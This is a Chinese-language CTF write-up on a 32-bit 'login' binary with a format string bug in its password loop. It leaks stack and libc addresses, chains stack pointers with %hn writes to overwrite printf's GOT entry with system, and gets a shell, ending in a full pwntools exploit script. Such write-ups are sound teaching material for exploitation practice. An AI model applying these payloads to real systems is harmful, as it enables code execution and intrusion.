QAQ

题目地址

检查保护


32位程序,保护就开了栈保护

寻找漏洞

拖入ida,分析成绩流程

主函数让你输入name,其中name在bss段中,然后进入sub_80485E3函数
sub_80485E3函数没啥东西,对name的处理也是正确的

1
2
3
4
5
int sub_80485E3()
{
printf("hello, %s", &unk_804B080);
return sub_804854B();
}

sub_804854B函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
int sub_804854B()
{
puts("Please input your password: ");
while ( 1 )
{
s1[read(0, s1, 0x32u)] = 0;
if ( !strncmp(s1, "wllmmllw", 8u) )
break;
printf("This is the wrong password: ");
printf(s1);
puts("Try again!");
}
return puts("Login successfully! Have fun!");
}

无限让你输入,其中s1也是在bss段中,后面有明显的格式化字符串漏洞
这题漏洞很明显,麻烦的一点是输入在bss段,所以要想实现任意写,必须利用栈上已有的栈地址进行泄露跟利用.

泄露地址

首先我们要泄露两个东西,一个是got表的地址,来计算出system函数的地址,一个是栈地址,利用栈地址来实现往栈里写入数据.
寻找偏移

如图所示 栈地址跟got表真实地址的偏移分别为6,15,

1
payload1='\n%6$p\n%15$p\n'

这几个\n是我为了好取出地址写的

泄露成了

1
2
3
4
5
6
7
8
9
10
11
12
p.recvuntil('0x')
stack_addr=int(p.recv(8),16)
p.recvuntil('0x')
libc_main_addr=int(p.recv(8),16)-247
#libc=LibcSearcher('__libc_start_main',libc_main_addr)#如果打远程可以用这个来泄露libc,这里因为是本地就没用
libc_data=libc_main_addr-libc.symbols['__libc_start_main']#泄露libc的基址
sys_addr=libc_data+libc.symbols['system']#找到system地址
#str_sh_addr=libc_data+libc.symbols['str_bin_sh']#/bin/sh地址
str_bin_sh=libc.search("/bin/sh\x00").next()
sys_addr_0_2=int(str(hex(sys_addr))[6:10],16)#因为要2个字节的写,所以这是前两个字节的地址
sys_addr_2_4=int(str(hex(sys_addr))[2:6],16)
stack_addr_0_2=int(str(hex(stack_addr))[6:10],16)

更改got表

实现往栈中写入got表的地址的关键就是利用好在栈里指向栈的指针

大致分几步
1.修改1指针令3指向地址2
2.此时3指向2,这时将偏移指向3,就可以实现将got表写进2
3.将偏移指向2,就可以实现更改got表
泄露出来的栈地址为0xffffd018,要将他指向的值变为0xffffd00c,即更改的值为stack_addr_0_2-12,偏移为6

1
2
3
4
def DoubSzWt(number,deviation):#因为要多次写入,所以写个函数生成payload
payload='%'+str(number)+'c%'+str(deviation)+'$hn'
return payload
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2-12,6))

查看效果

如图,我们将3->2

1
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))#B014为printf的got表的后两个字节,因为前两个字节是相同的,无需修改


我们将2写入了printf的got表的地址
这时候如果一次写入4个字节其实理论也可以修改got表,只不过我失败了

1
2
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2+4,6))
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))

这两句我们令3->4,然后将4写入printf的got表的高2字节地址

这样,我们就可以在下一次输入更改printf的got地址为system,再次循环输入/bin/sh\x00实现getshell

1
2
3
payload='%'+str(sys_addr_0_2)+'c%7$hn'+'%'+str(sys_addr_2_4-sys_addr_0_2)+'c%11$hn'
p.sendafter('Try again!\n',payload)
p.sendafter('Try again!\n','/bin/sh\x00')

exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
from pwn import *
from LibcSearcher import LibcSearcher

#p=remote('108.160.139.79',9090)

p=process('./login')
elf=ELF('./login')
libc=ELF('/lib/i386-linux-gnu/libc.so.6')

#context.log_level="debug"
p.sendafter('your name: ','ad')
payload1='\n%6$p\n%15$p\n'
p.sendafter('Please input your password: \n',payload1)

def DoubSzWt(number,deviation):
payload='%'+str(number)+'c%'+str(deviation)+'$hn'
return payload
p.recvuntil('0x')
stack_addr=int(p.recv(8),16)
p.recvuntil('0x')
libc_main_addr=int(p.recv(8),16)-247
print "libc_main_addr=>",hex(libc_main_addr)
'''libc=LibcSearcher('__libc_start_main',libc_main_addr)'''
libc_data=libc_main_addr-libc.symbols['__libc_start_main']
sys_addr=libc_data+libc.symbols['system']#+0x480
#str_sh_addr=libc_data+libc.symbols['str_bin_sh']
str_bin_sh=libc.search("/bin/sh\x00").next()
sys_addr_0_2=int(str(hex(sys_addr))[6:10],16)
sys_addr_2_4=int(str(hex(sys_addr))[2:6],16)
stack_addr_0_2=int(str(hex(stack_addr))[6:10],16)
print "sys_addr=>",hex(sys_addr)
print 'sys_addr_0_2=>',hex(sys_addr_0_2)
print 'sys_addr_2_4=>',hex(sys_addr_2_4)
print 'stack_addr=>',hex(stack_addr)
print 'stack_addr_0_2=>',hex(stack_addr_0_2)
print 'libc_data=>',hex(libc_data)
p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2-12,6))
p.sendafter('Try again!\n',DoubSzWt(int('B014',16),10))

p.sendafter('Try again!\n',DoubSzWt(stack_addr_0_2+4,6))
p.sendafter('Try again!\n',DoubSzWt(int('B016',16),10))
payload='%'+str(sys_addr_0_2)+'c%7$hn'+'%'+str(sys_addr_2_4-sys_addr_0_2)+'c%11$hn'
p.sendafter('Try again!\n',payload)
p.sendafter('Try again!\n','/bin/sh\x00')

p.interactive()